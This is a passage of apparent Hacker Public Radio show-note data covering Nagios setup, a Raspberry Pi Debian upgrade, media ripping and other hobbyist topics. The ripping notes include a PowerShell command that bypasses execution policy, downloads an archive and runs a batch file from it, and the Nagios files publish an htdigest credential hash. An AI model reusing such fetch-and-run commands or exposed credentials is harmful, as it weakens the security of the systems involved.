                                                            \n

                                                            Have a look at /etc/nagios4/objects/localhost.cfg if you want to see how the checks for localhost are defined

                                                            \n

                                                            Adding a new host to monitor

                                                            \n

                                                            We will use google.com as an example and create a file named google.cfg and place it in in the cfg_dir /etc/nagios4/conf.d.

                                                            \n

                                                            The files can be named anything that ends in .cfg. My preference is one file per host that contains all the checks for that host. The content of google.cfg is included new the end of the show notes.

                                                            \n

                                                            First, we need to define the host. host_name is the only field required to be set. The remaining requirements are met by using the generic-host template.

                                                            \n

                                                            We can add a service check to google.com using the same file. The easiest to add is a http check host_name, service_description, and check_command have to be set the remaining requirements are met by using the generic-service template.

                                                            \n

                                                            Restarting Nagios

                                                            \n

                                                            Nagios has to be reloaded to pick up the configuration changes. Prior to restarting nagios, you can verify the nagios configuration is valid by running:

                                                            \n
                                                            nagios4 -v /etc/nagios4/nagios.cfg
                                                            \n

                                                            This will print a summary of the configuration. Any warnings or errors will be printed at the end.

                                                            \n

                                                            Warnings are not fatal, but should probably be looked at. Errors will keep nagios from restarting; if there are no errors, it is safe to restart nagios

                                                            \n

                                                            Check the nagios UI at https://SERVER_IP/nagios4 and you should see 2 hosts, localhost and google.com as well as the service checks for the hosts

                                                            \n

                                                            Next Episode

                                                            \n

                                                            Since I have already made the mistake of mentioning a follow up episode, I know I am now committed to making additional episode, Next time I will try to cover some enhancements to nagios, including

                                                            \n
                                                              \n
                                                            • some notification options
                                                            • \n
                                                            • monitoring-plugins packages
                                                            • \n
                                                            • writing custom checks
                                                            • \n
                                                            • using SNMP to monitor load average and disk usage
                                                            • \n
                                                            \n

                                                            Leave a comment if there are other aspects of nagios you would like me to try to cover. No promises, but I will do my best.

                                                            \n

                                                            Thanks for listening and I will see you next time.

                                                            \n

                                                            Files

                                                            \n

                                                            Playbook

                                                            \n
                                                            ---\n- hosts: nagios\n  tasks:\n  - name: install nagios\n    apt:\n      name:\n        - nagios4\n      update_cache: yes\n\n  - name: Enable the Apache2 modules\n    command: a2enmod "{{item}}"\n    with_items:\n    - authz_groupfile\n    - auth_digest\n  - name: modify nagios cgi config to require user\n    replace:\n      path: /etc/nagios4/cgi.cfg\n      regexp: 'use_authentication=0'\n      replace: 'use_authentication=1'\n  - name: nagios require valid user\n    replace:\n      path: /etc/apache2/conf-enabled/nagios4-cgi.conf\n      regexp: "Require all  granted"\n      replace: "Require valid-user"\n  - name: remove IP restriction\n    lineinfile:\n      regexp: "Require ip"\n      path: /etc/apache2/conf-enabled/nagios4-cgi.conf\n      state: absent\n  - name: move auth requirements out of File restrictions\n    lineinfile:\n      path: /etc/apache2/conf-enabled/nagios4-cgi.conf\n      regexp: '^s*</?Files'\n      state: absent\n  - name: nagios user\n    copy:\n      dest: /etc/nagios4/htdigest.users\n      src: htdigest.users\n  - name: restart apache\n    service:\n      name: apache2\n      state: restarted\n  - name: copy nagios configs\n    copy:\n      src: "{{item}}"\n      dest: /etc/nagios4/conf.d\n    with_items:\n      - google.cfg\n  - name: restart nagios\n    service:\n      name: nagios4\n      state: restarted
                                                            \n

                                                            google.cfg

                                                            \n
                                                            define host {\n  host_name google.com\n  use generic-host\n}\n\ndefine service {\n  use generic-service\n  host_name google.com\n  service_description HTTP\n  check_command check_http\n}
                                                            \n

                                                            htdigest.users

                                                            \n
                                                            nagiosadmin:Nagios4:85043cf96c7f3eb0884f378a8df04e4c
                                                            \n","hostid":342,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"nagios, ubuntu","version":0,"downloads":0,"valid":1}, {"id":3265,"date":"2021-02-05","title":"My Chromebook Experience","duration":525,"summary":"Adding my own perspective to the Chromebook discussion","notes":"

                                                            On January 5, 2021, Zen_Floater2 did an interesting show that you might call a virtual conversation with Klaatu. He took a show that Klaatu had done on the GNU World Order podcast about using Chromebooks, and interspersed his own comments. As I was listening I thought that I had a slightly different perspective, so I recorded this brief show about my own experience.

                                                            \n

                                                            Links

                                                            \n\n","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Chromebooks","version":0,"downloads":0,"valid":1}, {"id":3266,"date":"2021-02-08","title":"Upgrading Debian on my raspberry pi","duration":2001,"summary":"In this episode I cover the process of upgrading Debian from Jessie 8 to Stretch 9 on my raspberrypi","notes":"

                                                            Pi13 upgrade from Jessie 8 to Stretch 9 - performed 15/12/20

                                                            \n

                                                            History

                                                            \n

                                                            Upgraded my raspberry pi 13, which I think had a minimal install Raspbian, Debian i.e. has no desktop installed. The Pi had a PiFaceIO board installed, refer to my previous HPR episode Hpr2901

                                                            \n

                                                            Backup process, in case something went wrong

                                                            \n

                                                            I first moved all the unnecessary files to free up as much space as possible

                                                            \n

                                                            Shrunk the Pi partition on the installed 128GB SD card down to 25106MB (24.52GB), (25708544K), 26,325,549,056 bytes using partition magic

                                                            \n

                                                            I calculated that this would be 51,417,088 blocks of 512 bytes

                                                            \n

                                                            I used dd to make an image file and grabbed some unallocated space after partition by using count=55417088, refer to the command below

                                                            \n
                                                            sudo dd if=/dev/sdb of=/home/stuart/pi-13-img-backup.img bs=512 count=55417088
                                                            \n

                                                            I used the following command to image files to a spare 64GB SD card

                                                            \n
                                                            sudo dd if=/home/stuart/pi-13-img-backup.img of=/dev/sdb bs=512 status=progress
                                                            \n

                                                            I then expanded the partition to fill the full 64GB of the card

                                                            \n

                                                            Booted from the 64GB card to make sure that I had a backup in case anything went wrong

                                                            \n

                                                            Removed the 64GB card which I can go back to if things don't work out

                                                            \n

                                                            Booted from 128GB card and expanded the partition using Gparted to fill 128GB SD card

                                                            \n

                                                            I used the 128GB SD card to perform the upgrade, remember I have 64GB card to fall back on if things go wrong

                                                            \n

                                                            Upgrade process

                                                            \n

                                                            Source of information below

                                                            \n

                                                            Step 1: Check available disk space

                                                            \n

                                                            In order to update to Raspbian Stretch, there must be enough space on the SD card. Therefore you should check the available and used disk space usage first:

                                                            \n
                                                            $ df -h
                                                            \n

                                                            Step 2: Check package status

                                                            \n

                                                            You must also check that all packages are in a state that is suitable for upgrade. The following command displays all packages that have the status semi-installed or configuration failed, and those with error status:

                                                            \n
                                                            $ sudo dpkg --audit\n$ sudo dpkg --get-selections | grep hold
                                                            \n

                                                            Step 3: Update system

                                                            \n

                                                            Before upgrading, the Raspbian should be completely updated:

                                                            \n
                                                            $ sudo apt-get update\n$ sudo apt-get upgrade\n$ sudo apt-get dist-upgrade
                                                            \n

                                                            Step 4: Modify Release

                                                            \n

                                                            For upgrading to the new Raspbian version, the package lists must be adapted to the \"Stretch\" release. To do this, only the word \"jessie\" has to be replaced by \"stretch\". In order not to overlook any position, we simply let the replacement be done by the following command:

                                                            \n
                                                            $ sudo sed -i /deb/s/jessie/stretch/g /etc/apt/sources.list\n$ sudo sed -i /deb/s/jessie/stretch/g /etc/apt/sources.list.d/*.list
                                                            \n

                                                            Step 5: Updating package lists

                                                            \n

                                                            The new package lists must then be updated and imported:

                                                            \n
                                                            $ sudo apt-get update
                                                            \n

                                                            Step 6: Update to \"Stretch\"

                                                            \n

                                                            Now we are ready to start the upgrade:

                                                            \n
                                                            $ sudo apt-get upgrade\n$ sudo apt-get dist-upgrade
                                                            \n

                                                            Step 7: Clean up installation

                                                            \n

                                                            Old, unnecessary packages are removed after the system update with the following commands:

                                                            \n
                                                            $ sudo apt-get autoremove\n$ sudo apt-get autoclean
                                                            \n

                                                            What was reported during upgrade

                                                            \n

                                                            repo for get_iplayer no longer available so had to comment them out. On my Pi these were located at the following location.

                                                            \n
                                                            /etc/apt/sources.list.d/packages.hedgrows.org.uk.list
                                                            \n

                                                            change to lsb_release command

                                                            \n

                                                            The lsb_release command no longer worked so after the upgrade I could not use it to check what version of Debian I was running.

                                                            \n

                                                            Link to alternative methods to check installed Debian version.

                                                            \n

                                                            I chose the following method

                                                            \n
                                                            cat /etc/os-release
                                                            \n

                                                            .bashrc - kept my original file

                                                            \n

                                                            Something about /etc/login.defs & /etc/login.defs.dpkg-new

                                                            \n

                                                            lots of changes in new version of ssh

                                                            \n

                                                            Something was mentioned about apt hashes sha1 weak \"yes\" & apt hashes ripe-md/160 weak \"yes\"

                                                            \n

                                                            Something about ~/.ssh/authorized_keys & ~/.ssh/authorized_keys2

                                                            \n

                                                            Something about key length and accepted key types

                                                            \n

                                                            What went wrong after the upgrade

                                                            \n

                                                            mocp wouldn't run

                                                            \n

                                                            I had to modify my config file in .moc folder I added the following line near the top of the file

                                                            \n
                                                            ALSAStutterDefeat = no
                                                            \n

                                                            In my .moc folder I had to also modify the my_keymap file at line 82. I think the next_search option is not available in the new version of moc 2.6-alpha3 installed with Debian Stretch. I commented out the following

                                                            \n
                                                            #next_search =          ^g ^n
                                                            \n

                                                            pifacedigitalio test.py reported an error

                                                            \n

                                                            multiple errors reported last line of error was:-

                                                            \n
                                                            pifacedigitalio.core.NoPiFaceDigitalDetectedError: No PiFace Digital board detected (hardware_addr=0, bus=0, chip_select=0)
                                                            \n

                                                            I changed the first line of my python script

                                                            \n

                                                            from

                                                            \n
                                                            #!/usr/bin/env python
                                                            \n

                                                            to

                                                            \n
                                                            #!/usr/bin/env python3
                                                            \n

                                                            This removed the original error. I stupidly thought this had solved the problem so I went about converting my script to run with Python 3 only to find at the end once I had correct everything that I ended up with the same original error.

                                                            \n

                                                            How I solved the pifacedigitalio test.py reported error

                                                            \n

                                                            The problem was solved by looking at this post

                                                            \n

                                                            According to the post it had something to do with the SPI serial speed changing from 500Khz to 125Mhz

                                                            \n

                                                            Problem was solved by modifying a file spi.py

                                                            \n

                                                            I found the location of the file by using the following command

                                                            \n
                                                            find / -iname spi.py
                                                            \n

                                                            The files were located at

                                                            \n
                                                            /usr/lib/python2.7/dist-packages/pifacecommon/spi.py\n/usr/lib/python3/dist-packages/pifacecommon/spi.py
                                                            \n

                                                            I created a copy of the original file and called it spi.py.bak

                                                            \n

                                                            I only modified the file in python2.7 as my program test.py runs in python2.7

                                                            \n

                                                            I added a comma to the end of line 68 and added the following line to line 69

                                                            \n
                                                            speed_hz=ctypes.c_uint32(15000)
                                                            \n

                                                            SSH from pifacecad stopped working

                                                            \n

                                                            My Raspberry pi \"Pi10\" downstairs would not SSH into my Pi13 server upstairs This made it impossible for me to remotely start and stop podcasts and audiobooks playing on my Pi13 upstairs.

                                                            \n

                                                            This happened because the downstairs Pi10 had DSA and RSA keys and it was using DSA keys to ssh into Pi13. I found this by looking at /var/logs/auth.log on Pi13 The log reported

                                                            \n
                                                            userauth_pubkey: key type ssh-dss not in PubkeyAcceptedKeyTypes
                                                            \n

                                                            SSH from EEEPC stopped working

                                                            \n

                                                            Was not able to SSH into Pi13 from EEEpc

                                                            \n

                                                            My EEEPC netbook only had DSA keys and that is what it was using to try and SSH into Pi13 I generated new RSA keys and added them to Pi13, this solved the problem and allowed me to ssh into Pi13 from the EEEpc

                                                            \n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Linux, Distros, Raspberry Pi, Debian","version":0,"downloads":0,"valid":1}, {"id":3267,"date":"2021-02-09","title":"Ripping Media 2021","duration":1000,"summary":"I go over ripping webpage media","notes":"\n

                                                            ffmpeg notes:

                                                            \n\n
                                                            powershell   -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('https://github.com/jb-alvarado/media-autobuild_suite/archive/master.zip',"%userprofile%desktopmaster.zip");   Expand-Archive -LiteralPath  "%userprofile%desktopmaster.zip"  -DestinationPath  "%userprofile%desktop"     ;Start-Process "%userprofile%desktopmedia-autobuild_suite-mastermedia-autobuild_suite.bat" "
                                                            \n
                                                              \n
                                                            • this took over 8hrs to compile on a i7 I disabled items that had warnings and comments about issues and useless of codes that have issues etc

                                                            • \n
                                                            • missing libopenh264.dll when I launched ffmpeg_g.exe

                                                            • \n
                                                            • the dll was not built but I'm not sure it's something I messed up I'm sure

                                                            • \n
                                                            • only post I saw online about it was that it's useless and -full should never be used flaming etc

                                                            • \n
                                                            • start media-autobuild_suite-mastermsys64mingw64.exe and run the following

                                                            • \n
                                                            • Reference : https://bluexmas.tistory.com/category/OS not sure what the flags were for but copied the DLL into the folder and it appears to run

                                                            • \n
                                                            \n
                                                            git clone https://github.com/cisco/openh264.git\ncd openh264\nexport "CFLAGS=-fno-stack-protector"\nexport "LDFLAGS=-lssp"\nmake
                                                            \n
                                                              \n
                                                            • also had to apply this fix for AR etc in platform-mingw_nt.mk folder
                                                            • \n
                                                            \n
                                                            find / -iname "platform-mingw_nt.mk" -exec sed 's/x86_64-w64-mingw32-//g' -i.bak '{}' ;
                                                            \n
                                                            youtube-dl -f bestvideo+bestaudio "link to youtube video"
                                                            \n

                                                            If that gives you an error, try the following instead:

                                                            \n
                                                            youtube-dl -f 'bestvideo[ext=mp4]+bestaudio[ext=m4a]/bestvideo+bestaudio' --merge-output-format mp4 "link to youtube video"
                                                            \n

                                                            Here you download the best video and audio separately and then merge into a, in this case mp4 file. You can change the output format on the merged video as well.

                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"ffmpeg,hacking,youtube-dl,media","version":0,"downloads":0,"valid":1}, {"id":3268,"date":"2021-02-10","title":"Video Game Review - Ark Survival Evolved","duration":532,"summary":"Enigma reviews Ark survival evolved","notes":"

                                                            \nEnigma reviews Ark Survival Evolved , a multiplayer survival game for the xbox, PC and ps4
                                                            \n
                                                            \nCome chat with us at irc.freenode.net #hackerexchange
                                                            \nFollow me on twitter @Ed_N1gma\n

                                                            ","hostid":39,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"video, game, reviews","version":0,"downloads":0,"valid":1}, {"id":3269,"date":"2021-02-11","title":"Linux Inlaws S01E23: The first year of the five year plan","duration":2855,"summary":"The Inlaws review the first year: the highlights, lowlights and all the bloody rest","notes":"","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"communism, five year plan, world domination, FOSS, Femke","version":0,"downloads":0,"valid":1}, {"id":3270,"date":"2021-02-12","title":"An Example of Using Layers","duration":900,"summary":"Creating a new header image for my WordPress site using Layers in GIMP","notes":"

                                                            There is a point where you need to stop being abstract and start demonstrating what you are talking about, so I thought this was a good opportunity to put some things into practice by creating an image. I chose to do a header image for my site Ahuka Communications that would more accurately reflect the content. This lets us use freely licensed images, an OFL-licensed font, layers, and various tools. Note that you can download all of this stuff from my site.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, Layers, WordPress","version":0,"downloads":0,"valid":1}, {"id":3271,"date":"2021-02-15","title":"Interview with a 6yo child ","duration":428,"summary":"I ask some basic questions to my 6yo","notes":"

                                                            Not really hacking but good times

                                                            ","hostid":36,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"interviews,kids","version":0,"downloads":0,"valid":1}, {"id":3272,"date":"2021-02-16","title":"In GNU/Linux, there is no \"diversity\", we're all just data.","duration":1032,"summary":"How I experienced GNU/Linux and the topic of \"diversity\".","notes":"

                                                            I'm just Some Guy On The Internet.

                                                            ","hostid":391,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"GNU/Linux, GNU/Linux diversity","version":0,"downloads":0,"valid":1}, {"id":3273,"date":"2021-02-17","title":"Embrace Firefox","duration":853,"summary":"That's Our Browser!","notes":"
                                                            \nHPR.config\n\nName: \"Darwin\"\nHandle: \"Some Guy on the Internet\"\nOccupation: \"Loiter on the Internet\"\nHobby: \"Freedom\"\n\nTitle: \"Embrace Firefox\"\nSummary: \"That’s Our Browser!\"\n
                                                            ","hostid":391,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Some Guy on the Internet, Darwin, Firefox","version":0,"downloads":0,"valid":1}, {"id":3274,"date":"2021-02-18","title":"My Custom dwm Setup","duration":2159,"summary":"Me talking about how I've customised dwm, added and removed patches and written various scripts.","notes":"
                                                              \n
                                                            • Intro - video on yt, audio on hpr https://youtu.be/EMFMyxYch14
                                                            • \n
                                                            • Who am I? arfab, clearnitesky, trumpetplanet
                                                            • \n
                                                            • my email has changed since my first hpr episode - thanks lavabit!
                                                            • \n
                                                            • You can now use hello@richcolq.xyz
                                                            • \n
                                                            • My previous episode was 0618
                                                            • \n
                                                            \n
                                                              \n
                                                            1. Story of ricing my own desktop:\n
                                                                \n
                                                              • Always been into customising look/feel, never satisfied
                                                              • \n
                                                              • Found Luke Smith and liked i3, made own version.
                                                              • \n
                                                              • Pandemic hits! Started learning Python, JavaScript but had no real use for them...
                                                              • \n
                                                              • Made a website (inspired by disconnecting from social media)
                                                              • \n
                                                              • check out richcolq.xyz and github.com/clearnitesky
                                                              • \n
                                                            2. \n
                                                            3. What programs am I using?\n
                                                                \n
                                                              • dwm (obviously)
                                                              • \n
                                                              • dmenu
                                                              • \n
                                                              • st
                                                              • \n
                                                              • surf / brave
                                                              • \n
                                                              • sxhkd - various short cuts sorted by purpose
                                                              • \n
                                                              • dunst
                                                              • \n
                                                              • sxiv/feh
                                                              • \n
                                                              • zathura
                                                              • \n
                                                              • my status stuff using dwmstat script
                                                              • \n
                                                              • a look in ~/.local/bin
                                                              • \n
                                                              • I recently learned about awk and rewrote all icon scripts which is what inspired me to record this episode.
                                                              • \n
                                                            4. \n
                                                            5. What next?\n
                                                                \n
                                                              • Is it necessary to patch dwm? Probably not.
                                                                \nI've come to believe that the real value in these experiments has come from my custom status scripts and keyboard shortcuts - not from patching new features into dwm. It does what I need it to (manage windows!)
                                                              • \n
                                                            6. \n
                                                            7. Thanks for watching!
                                                            8. \n
                                                            \n","hostid":138,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"dwm, suckless, linux, bash, cli","version":0,"downloads":0,"valid":1}, {"id":3275,"date":"2021-02-19","title":"D1 Mini Close Lid to Scan","duration":430,"summary":"Use a Wemos to monitor if the lid is open or closed on a network scanner.","notes":"

                                                            wemos-close-to-scan

                                                            \n

                                                            Use a Wemos to monitor if the lid is open or closed on a network scanner.

                                                            \n\n

                                                            History

                                                            \n

                                                            In episode hpr2430 :: Scanning books, I had a bash file trigger a network scan. This required two steps, one to close the lid and the next to press a key for scantoimage.bash to trigger the next page of the scan.

                                                            \n

                                                            In the intervening time I looked at several solutions to improve this situation.

                                                            \n

                                                            The most obvious step was to put a magnetic switch on the scanner lid so that a device could detect the lid been closed.

                                                            \n

                                                            I tried a Raspberry PI but my scanner drivers are only available for Intel and not Arm. Then then accessing the pi using Remote GPIO, but it got very complex to setup and run.

                                                            \n

                                                            Inspired by hpr3077 :: Video conference Push to Talk Hosted by DanNixon on 2020-05-19, I tried using an arduino talking over serial to a Intel Compute Stick. But that was very flakey.

                                                            \n

                                                            Hardware

                                                            \n

                                                            Finally I settled on using a Clone of LOLIN D1 mini, and some Reed Contacts.

                                                            \n\n

                                                            Wiring

                                                            \n

                                                            Wire one end of the reed contact to 3.3v, and the other end to ground via a 10K resistor.

                                                            \n

                                                            Have a sensor wire go from the 10K resistor to pin D5 on the D1 Mini.

                                                            \n

                                                            \"circuitdiagram\"

                                                            \n

                                                            \"breadboard\"

                                                            \n

                                                            \"photo\"

                                                            \n

                                                            Code

                                                            \n

                                                            D1 Mini

                                                            \n

                                                            See wemos-close-to-scan.ino

                                                            \n

                                                            Laptop

                                                            \n

                                                            See wemos-scantoimage.bash

                                                            \n

                                                            Operation

                                                            \n
                                                              \n
                                                            1. Plug in D1 Mini and monitor the serial port to get its IP Address.
                                                            2. \n
                                                            3. Change the server=\"YOUR-WEMOS-IP-ADDRESS\" in wemos-scantoimage.bash to the ip address.
                                                            4. \n
                                                            5. Change the image_path=\"/PATH/TO/YOUR/SCANS/\" in wemos-scantoimage.bash to where your want the files saved.
                                                            6. \n
                                                            7. Close scanner and scan.
                                                            8. \n
                                                            \n","hostid":30,"series":57,"explicit":0,"license":"CC-BY-SA","tags":"Wemos, D1 Mini, network scan","version":0,"downloads":0,"valid":1}, {"id":3276,"date":"2021-02-22","title":"Deepgeek's thoughts about HD Radio","duration":612,"summary":"Klaatu reads a post by Deepgeek","notes":"

                                                            \nDeepgeek's thoughts about HD radio.\n

                                                            \n\n

                                                            Links

                                                            \n\n\n\n","hostid":73,"series":99,"explicit":0,"license":"CC-BY-SA","tags":"radio","version":0,"downloads":0,"valid":1}, {"id":3277,"date":"2021-02-23","title":"Microsoft in my Debian repo","duration":272,"summary":"microsoft, raspberry pi, bash, script","notes":"

                                                            Raspberry pi foundation added vscode repo to raspberry OS.

                                                            \n

                                                            Raspberry Pi OS's tried:

                                                            \n\n

                                                            To try later:

                                                            \n\n
                                                            sudo apt install dkms\n\ncd rtl8812au\n\nsudo make dkms_install
                                                            \n

                                                            References.

                                                            \n\n

                                                            The following code snippet was edited for readability.

                                                            \n
                                                            #Hold raspberrypi-sys-mods package\nsudo apt-mark hold raspberrypi-sys-mods\n\n#Redirect calls to packages.microsoft.com to localhost\nsudo echo "0.0.0.0 packages.microsoft.com" >> /etc/hosts\n\n#remove MS Key file\nsudo rm -vf /etc/apt/trusted.gpg.d/microsoft.gpg\n\n#create empty dummy key file\nsudo touch /etc/apt/trusted.gpg.d/microsoft.gpg\n\n#lock the dummy key file\nsudo chattr +i /etc/apt/trusted.gpg.d/microsoft.gpg\n\n#comment out vscode.list\nsudo sed -i 's/deb/#deb/' /etc/apt/sources.list.d/vscode.list\n\n#lock the vscode.list file\nsudo chattr +i /etc/apt/sources.list.d/vscode.list
                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"microsoft, raspberry pi, bash, script","version":0,"downloads":0,"valid":1}, {"id":3278,"date":"2021-02-24","title":"A Minor Victory Against Designed-In Obsolescence","duration":513,"summary":"Extracting a bit more life out of a device that Apple would rather have you dump","notes":"

                                                            The Ipad2, at over 9 years old, is unsupported with security or any other kind of updates. Few apps in the App Store will run on its old version of IOS, and that operating system cannot be upgraded.

                                                            \n

                                                            As far as Apple are concerned an Ipad2 should have been sent to the scrap heap years ago. If you found its 16GB of storage wasn't enough, you were supposed to dump it and buy a new one as you couldn't add more. If you found that you couldn't run the latest version of your favourite apps, dump it and buy a new one as you couldn't upgrade the operating system to the required standard.

                                                            \n

                                                            Is it necessary to abide by this designed-in obsolescence? Beeza inherits an Ipad2 and decides to find out if he can get any serious use out of it or whether it really does need to be dumped.

                                                            ","hostid":246,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Ipad, Apple, Obsolescence, IOS, Hardware","version":0,"downloads":0,"valid":1}, {"id":3279,"date":"2021-02-25","title":"Linux Inlaws S01E24: Legacy programming languages","duration":3252,"summary":"The two chaps discuss why history keeps repeating itself in programming languages and beyond","notes":"\n\n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Programming languages, Legacy, old stuff, new stuff, hipster languages, coffee","version":0,"downloads":0,"valid":1}, {"id":3280,"date":"2021-02-26","title":"What We Need For the ActivityPub Network","duration":1026,"summary":"This keynote address looks at where federated social media can go if we make it work. ","notes":"

                                                            Federated social media can open up some wonderful possibilities but we need to make it happen. In this opening keynote address Evan Prodromou, who arguably started it all off, shows that he has thought long and deeply about this, and gives us his vision for where we can take it. https://www.zwilnik.com/better-social-media/activitypub-conference-2020/activitypub-2020-evan-prodromou/

                                                            \n

                                                            Links:

                                                            \n","hostid":198,"series":108,"explicit":0,"license":"CC-BY-SA","tags":"social media, alternative, Fediverse, ActivityPub","version":0,"downloads":0,"valid":1}, {"id":3281,"date":"2021-03-01","title":"HPR Community News for February 2021","duration":4150,"summary":"HPR Volunteers talk about shows released and comments posted in February 2021","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n\n o9l, \n Some Guy On The Internet.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3261Mon2021-02-01HPR Community News for January 2021HPR Volunteers
                                                            3262Tue2021-02-02My thoughts on diversity in Linux and open sourceswift110
                                                            3263Wed2021-02-03My Beginnings in Techo9l
                                                            3264Thu2021-02-04Intro to Nagiosnorrist
                                                            3265Fri2021-02-05My Chromebook ExperienceAhuka
                                                            3266Mon2021-02-08Upgrading Debian on my raspberry piMrX
                                                            3267Tue2021-02-09Ripping Media 2021operat0r
                                                            3268Wed2021-02-10Video Game Review - Ark Survival EvolvedEnigma
                                                            3269Thu2021-02-11Linux Inlaws S01E23: The first year of the five year planmonochromec
                                                            3270Fri2021-02-12An Example of Using LayersAhuka
                                                            3271Mon2021-02-15Interview with a 6yo child operat0r
                                                            3272Tue2021-02-16In GNU/Linux, there is no \"diversity\", we're all just data.Some Guy On The Internet
                                                            3273Wed2021-02-17Embrace FirefoxSome Guy On The Internet
                                                            3274Thu2021-02-18My Custom dwm Setuparfab
                                                            3275Fri2021-02-19D1 Mini Close Lid to ScanKen Fallon
                                                            3276Mon2021-02-22Deepgeek's thoughts about HD Radiodeepgeek
                                                            3277Tue2021-02-23Microsoft in my Debian repoArcher72
                                                            3278Wed2021-02-24A Minor Victory Against Designed-In ObsolescenceBeeza
                                                            3279Thu2021-02-25Linux Inlaws S01E24: Legacy programming languagesmonochromec
                                                            3280Fri2021-02-26What We Need For the ActivityPub NetworkAhuka
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 16 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 7 comments on\n4 previous shows:

                                                            \n
                                                              \n
                                                            • hpr2356\n(2017-08-14) \"Safely enabling ssh in the default Raspbian Image\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 4:\nLeo_B on 2021-02-23:\n\"If you're watching this in 2021\"
                                                              • \n
                                                              • \nComment 5:\nKen Fallon on 2021-02-25:\n\"Updated versions\"

                                                              \n
                                                            • hpr3187\n(2020-10-20) \"Ansible for Dynamic Host Configuration Protocol\"\nby norrist.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nWindigo on 2021-02-10:\n\"Interesting approach\"

                                                              \n
                                                            • hpr3241\n(2021-01-04) \"HPR Community News for December 2020\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nclacke on 2021-02-16:\n\"NoSQL and Redis\"
                                                              • \n
                                                              • \nComment 2:\nclacke on 2021-02-16:\n\"Redis pronunciation\"
                                                              • \n
                                                              • \nComment 3:\nDave Morriss on 2021-02-17:\n\"Key/value storage\"

                                                              \n
                                                            • hpr3259\n(2021-01-28) \"Nextcloud - The easy way\"\nby Archer72.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\narcher72 on 2021-02-01:\n\"Show name\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 9 comments on 5 of this month's shows:

                                                            \n
                                                            • hpr3262\n(2021-02-02) \"My thoughts on diversity in Linux and open source\"\nby swift110.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nnorist on 2021-02-02:\n\"Storyteller\"
                                                              • Comment 2:\nBill n1vux on 2021-02-04:\n\"well said\"
                                                              • Comment 3:\nKevin O'Brien on 2021-02-04:\n\"Further discussion\"
                                                              • Comment 4:\nblizzack on 2021-02-15:\n\"Systematically kept out - part 1\"
                                                              • Comment 5:\nblizzack on 2021-02-15:\n\"Systematically kept out - part 2\"

                                                              \n
                                                            • hpr3269\n(2021-02-11) \"Linux Inlaws S01E23: The first year of the five year plan\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nclaudiom on 2021-02-12:\n\"Thanks for the invite....\"

                                                              \n
                                                            • hpr3271\n(2021-02-15) \"Interview with a 6yo child \"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nthelovebug on 2021-02-16:\n\"Loved this!\"

                                                              \n
                                                            • hpr3272\n(2021-02-16) \"In GNU/Linux, there is no \"diversity\", we're all just data.\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbookewyrmm on 2021-02-17:\n\"welcome\"

                                                              \n
                                                            • hpr3274\n(2021-02-18) \"My Custom dwm Setup\"\nby arfab.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nmcnalu on 2021-02-19:\n\"Might return to dwm\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-February/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributor for sending in updates in the past month:
                                                            \nDave Morriss

                                                            \n

                                                            Over the period tags and/or summaries have been added to 10 shows which were without them.

                                                            \n

                                                            There are now 414 shows which need a summary and/or tags.

                                                            \n

